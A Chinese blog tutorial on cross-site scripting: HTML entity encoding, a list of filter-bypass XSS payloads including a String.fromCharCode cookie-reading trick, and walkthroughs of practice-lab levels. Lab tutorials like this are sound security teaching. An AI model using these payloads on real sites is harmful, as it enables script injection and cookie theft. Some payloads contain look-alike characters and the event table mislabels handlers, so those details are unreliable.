网安入门18-XSS(靶场实战)
HTML实体化编码
为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。
| 编码前 | 编码后 |
|---|---|
| 不可分的空格 | |
| < (小于符号) | < |
| > (大于符号) | > |
| & (与符号) | & |
| ″ (双引号) | " |
| ’ (单引号) | ' |
| © (版权符号) | © |
he.encode('<img src=""></img>') // "<img src=""></img>"// 转义
he.escape('<img src=""></img>') // "<img src=""></img>"
常见的绕过payload
<img src="x" onerror=alert(1)>
<img src=1 οnmοuseοver=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" οnclick=alert('xss') type="text">
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
<input name="name" value="" οnmοuseοver=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,
111,107,105,101,41)) 适用于绕过黑名单 alert 在跨站中,String.fromCharCode 主要是使到
一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为 ASCII 码,
然后再用 String.fromCharCode 还原,因为大多数的过滤系统都不会把 String.fromCharCode
加以过滤,例如关键字 alert 被过滤掉,那就可以这么利用 alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert(1)>(实体化()
<img src=1 onerror=alert()>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" οnerrοr=location="javascript:alert(1)”>
<img src="1" οnerrοr=location="javascript:alert%281%29”>
靶场实战(一)
欢迎来到XSS挑战
Level 1
通过观察页面,猜测因该是一个传参name=test可以下手

查看页面源代码

从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间,第一关没有过滤
payload:name=<script>alert('xss')</script>
Level 2
一个搜索框,故技重施失败了,判断他有过滤

查看源代码,上面一行是查询的回显,可以看到被实体化编码了,下面一行被双引号包裹

上面的实体化编码无法绕过了,现在的目标转化为下面一行,那就是闭合!
payload: "><script>alert(1)</script>//
或者 "><script>alert(1)</script><
实测也可以不用注释后面的">,说明HTML属于弱类型,校验不严格,另外查看这关源代码,调用的函数是 htmlspecialchars() 它的作用就是让 < 和 > 被HTML实体化编码
PHP htmlspecialchars() 函数
Level 3
还是搜索框,故技重施x2,无果,看源代码

这波看似没办法搞了,两边都被实体化了

仔细一想,两个尖括号以及被ban掉,
特殊事件 onmouseover onclick onfocuse 的介绍链接:
HTML onmouseover 事件属性 | 菜鸟教程
HTML onclick 事件属性 | 菜鸟教程
HTML onfocus 事件属性 | 菜鸟教程
| 函数 | 效果 |
|---|---|
| οnmοuseοver=alert(1) | 鼠标指针移至图片之上时弹窗 |
| οnclick=alert(1) | 输入域获得焦点时弹窗 |
| οnfοcus=alert(1) | 单击鼠标时弹窗 |
还有一个问题就是闭合这两个引号,闭合前面的,注释或者闭合后面的,这里跟上一关的标签闭合不一样,是比较严格的,不闭合属性中的值会无法执行
payload:' onmouseover=alert(1) //
或者: ' onmouseover=alert(1) x='
靶场实战(二)
alert(1)
0x00
啥也没有直接来吧

0x01
前面的<textarea>标签有个特性,无法创建其他标签,那就闭合掉

0x02
input标签,直接onmouseover+闭合连招,
还有种方法是闭合+新开标签 "> <script>alert(1)</script>
当然也可以用"><img src="x" onerror="alert(1)">也是很好用的

0x03
过滤了左右括号 () 那就用反引号`绕过

相关文章:
网安入门18-XSS(靶场实战)
HTML实体化编码 为了避免 XSS 攻击,会将<>编码为<与>,这些就是 HTML 实体编码。 编码前编码后不可分的空格 < (小于符号)< > (大于符号)> & (与符号)&″ (双引号)"’ (单引号)'© (版权符…...
爬虫的一些小技巧总结
一、在爬虫中,爬取的数据类型如下 1.document:返回的是一个HTML文档 2.png:无损的图片,jpg:压缩后的图片,wbep:有损压缩,比png差,比jpg好 3.avgxml图像编码字符串 4.script:脚本文件,依据一定格式编写的可执行的文…...
LeetCode---386周赛
题目列表 3046. 分割数组 3047. 求交集区域内的最大正方形面积 3048. 标记所有下标的最早秒数 I 3049. 标记所有下标的最早秒数 II 一、分割数组 这题简单的思维题,要想将数组分为两个数组,且分出的两个数组中数字不会重复,很显然一个数…...
React之数据绑定以及表单处理
一、表单元素 像<input>、<textarea>、<option>这样的表单元素不同于其他元素,因为他们可以通过用户交互发生变化。这些元素提供的界面使响应用户交互的表单数据处理更加容易 交互属性,用户对一下元素交互时通过onChange回调函数来监听…...
Siamrpn++论文中文翻译(详细!)
SiamRPN: Evolution of Siamese Visual Tracking with Very Deep Networks SiamRPN:具有非常深度网络的Siamese视觉跟踪的进化 【siamrpn论文地址】 https://arxiv.org/abs/1812.11703 摘要 基于Siamese网络的跟踪器将跟踪表示为目标模板和搜索区域之间的卷积特征…...
第一篇【传奇开心果系列】Python的自动化办公库技术点案例示例:深度解读Pandas库
传奇开心果博文系列 系列博文目录Python的自动化办公库技术点案例示例系列 博文目录前言一、主要特点和功能介绍二、Series 示例代码三、DataFrame示例代码四、数据导入/导出示例代码五、数据清洗示例代码六、数据选择和过滤示例代码七、数据合并和连接示例代码八、数据分组和聚…...
基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的停车位检测系统(Python+PySide6界面+训练代码)
摘要:开发停车位检测系统对于优化停车资源管理和提升用户体验至关重要。本篇博客详细介绍了如何利用深度学习构建一个停车位检测系统,并提供了完整的实现代码。该系统基于强大的YOLOv8算法,并结合了YOLOv7、YOLOv6、YOLOv5的性能对比…...
状态模式(State Pattern)
定义 状态模式(State Pattern)是一种行为设计模式,它允许对象在其内部状态改变时改变其行为。这意味着,当对象的状态发生变化时,它的行为也会发生变化。状态模式特别适用于行为依赖于其状态的对象,而且当这…...
js之版本号排序
版本号排序 给定一个由版本号组成的数组,按照版本号由小到大排序 假如版本号如下 : ["0.1.1", "2.3.3", "0.302.1", "4.2", "4.3.5", "4.3.4.5"];原理很简单,通过自定义sort排…...
考取ORACLE数据库OCP的必要性 Oracle数据库
OCP证书是什么? OCP,全称Oracle Certified Professional,是Oracle公司的Oracle数据库DBA(Database Administrator,数据库管理员)认证课程。这是Oracle公司针对数据库管理领域设立的一项认证课程,旨在评估和…...
WordPress通过宝塔面板的入门安装教程【保姆级】
WordPress安装教程【保姆级】【宝塔面板】 前言一:安装环境二:提前准备三:域名解析四:开始安装五:安装成功 前言 此教程适合新手,即使不懂代码,也可轻松安装wordpress 一:安装环…...
Leetcoder Day25| 回溯part05:子集+排列
491.递增子序列 给定一个整型数组, 你的任务是找到所有该数组的递增子序列,递增子序列的长度至少是2。 示例: 输入:[4, 7, 6, 7]输出: [[4, 6], [4, 7], [4, 6, 7], [6, 7], [7,7], [4,7,7]] 说明: 给定数组的长度不会超过15。数组中的整数范围是 [-100,100]。给定数…...
【HTML】HTML基础5(特殊字符)
目录 特殊字符的作用 常用的特殊字符 使用效果 特殊字符的作用 例如 当我在两个文字间打出空格时 <p>“银河护卫队”系列 在漫威电影宇宙中一直是异数般的存在,不仅因为影片主角是一群反英雄,<strong>与超级英雄相比显得格格不入<…...
MacBook将iPad和iPhone备份到移动硬盘
#创作灵感# 一个是ICloud不够用,想备份到本地;然而本地存储不够用,增加容量巨贵,舍不得这个钱,所以就想着能不能备份到移动硬盘。刚好有个移动固态,所以就试了一下,还真可以。 #正文# 说一下逻…...
贪心 Leetcode 376 摆动序列
摆动序列 Leetcode 376 学习记录自代码随想录 如果连续数字之间的差严格地在正数和负数之间交替,则数字序列称为 摆动序列 。第一个差(如果存在的话)可能是正数或负数。仅有一个元素或者含两个不等元素的序列也视作摆动序列。 例如&#…...
蓝桥杯(3.1)
92. 递归实现指数型枚举 import java.util.Scanner;public class Main {static int N 16;static int n;static int[] st new int[N]; public static void dfs(int u) {if(u > n) {for(int i1;i<n;i) {if(st[i] 1)System.out.print(i" ");}System.out.print…...
像用Excel一样用Python:pandasGUI
文章目录 启动数据导入绘图 启动 众所周知,pandas是Python中著名的数据挖掘模块,以处理表格数据著称,并且具备一定的可视化能力。而pandasGUI则为pandas打造了一个友好的交互窗口,有了这个,就可以像使用Excel一样使用…...
C#面:Application , Cookie 和 Session 会话有什么不同
Application、Cookie 和 Session 是在Web开发中常用的三种会话管理方式 Application(应用程序): Application 是在服务器端保存数据的一种方式,它可以在整个应用程序的生命周期内共享数据。Application 对象是在应用程序启动时创…...
BUUCTF---数据包中的线索1
1.题目描述 2.下载附件,是一个.pcap文件 3.放在wireshark中,仔细观察数据流,会发现有个叫fenxi.php的数据流 4.这条数据流是http,且使用GET方式,接下来我们使用http.request,methodGET 命令来过滤数据流 5.在分析栏中我们追踪htt…...
【数仓】kafka软件安装及集群配置
相关文章 【数仓】基本概念、知识普及、核心技术【数仓】数据分层概念以及相关逻辑【数仓】Hadoop软件安装及使用(集群配置)【数仓】Hadoop集群配置常用参数说明【数仓】zookeeper软件安装及集群配置 一、环境准备 准备3台虚拟机 Hadoop131ÿ…...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
MODBUS TCP转CANopen 技术赋能高效协同作业
在现代工业自动化领域,MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步,这两种通讯协议也正在被逐步融合,形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...
免费数学几何作图web平台
光锐软件免费数学工具,maths,数学制图,数学作图,几何作图,几何,AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...
day36-多路IO复用
一、基本概念 (服务器多客户端模型) 定义:单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用:应用程序通常需要处理来自多条事件流中的事件,比如我现在用的电脑,需要同时处理键盘鼠标…...
【WebSocket】SpringBoot项目中使用WebSocket
1. 导入坐标 如果springboot父工程没有加入websocket的起步依赖,添加它的坐标的时候需要带上版本号。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId> </dep…...
